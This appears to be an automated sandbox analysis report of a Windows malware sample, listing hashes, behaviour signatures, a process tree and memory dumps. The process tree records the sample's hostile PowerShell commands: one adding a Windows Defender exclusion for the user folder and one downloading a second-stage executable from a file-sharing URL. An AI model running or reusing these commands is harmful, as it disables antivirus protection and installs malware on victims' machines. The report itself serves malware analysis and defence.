Analysis

  • max time kernel
    4294180s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20220310-en
  • submitted
    22/03/2022, 14:51

General

  • Target

    6239dfea99c25.exe

  • Size

    154KB

  • MD5

    b5946ff13e7698c7e2f26491885ddaab

  • SHA1

    5a30f2c32c05cdf7ea86a916bb7b529c647e56b4

  • SHA256

    b6814794481de92b96493819677c96320d500487b82fd6eb72018faba8a831eb

  • SHA512

    4b296cc73916bf75bc1ab0feadf076b1794a88ba83663c1803e3342b14ff223b85f4d27b86c244088aa8f3eef309b1948f0db9ff71775f7d6e7759ca76b6dca7

Score
6/10

Malware Config

Signatures

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\6239dfea99c25.exe
    "C:\Users\Admin\AppData\Local\Temp\6239dfea99c25.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:1748
    • C:\Windows\system32\cmd.exe
      cmd /c bruhad.bat
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:536
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "Add-MpPreference -ExclusionPath "C:\Users"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1268
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -command "Invoke-WebRequest -uri https://filebin.net/ezig0gb1jw3em8r7/looad.exe -o looad.exe"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1792

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • memory/1268-61-0x000000001B890000-0x000000001BB8F000-memory.dmp

          Filesize

          3.0MB

        • memory/1268-59-0x00000000024D0000-0x00000000024D2000-memory.dmp

          Filesize

          8KB

        • memory/1268-58-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

          Filesize

          9.6MB

        • memory/1268-60-0x000007FEF5DF0000-0x000007FEF678D000-memory.dmp

          Filesize

          9.6MB

        • memory/1268-62-0x00000000024D2000-0x00000000024D4000-memory.dmp

          Filesize

          8KB

        • memory/1268-63-0x00000000024D4000-0x00000000024D7000-memory.dmp

          Filesize

          12KB

        • memory/1268-64-0x00000000024DB000-0x00000000024FA000-memory.dmp

          Filesize

          124KB

        • memory/1268-57-0x000007FEEFE70000-0x000007FEF09CD000-memory.dmp

          Filesize

          11.4MB

        • memory/1748-54-0x000007FEFC511000-0x000007FEFC513000-memory.dmp

          Filesize

          8KB

        • memory/1792-67-0x000007FEF38C0000-0x000007FEF441D000-memory.dmp

          Filesize

          11.4MB

        • memory/1792-69-0x0000000002650000-0x0000000002652000-memory.dmp

          Filesize

          8KB

        • memory/1792-68-0x000007FEF5450000-0x000007FEF5DED000-memory.dmp

          Filesize

          9.6MB

        • memory/1792-71-0x000007FEF5450000-0x000007FEF5DED000-memory.dmp

          Filesize

          9.6MB

        • memory/1792-70-0x000000001B6F0000-0x000000001B9EF000-memory.dmp

          Filesize

          3.0MB

        • memory/1792-73-0x0000000002652000-0x0000000002654000-memory.dmp

          Filesize

          8KB

        • memory/1792-72-0x000000000265B000-0x000000000267A000-memory.dmp

          Filesize

          124KB

        • memory/1792-74-0x0000000002654000-0x0000000002657000-memory.dmp

          Filesize

          12KB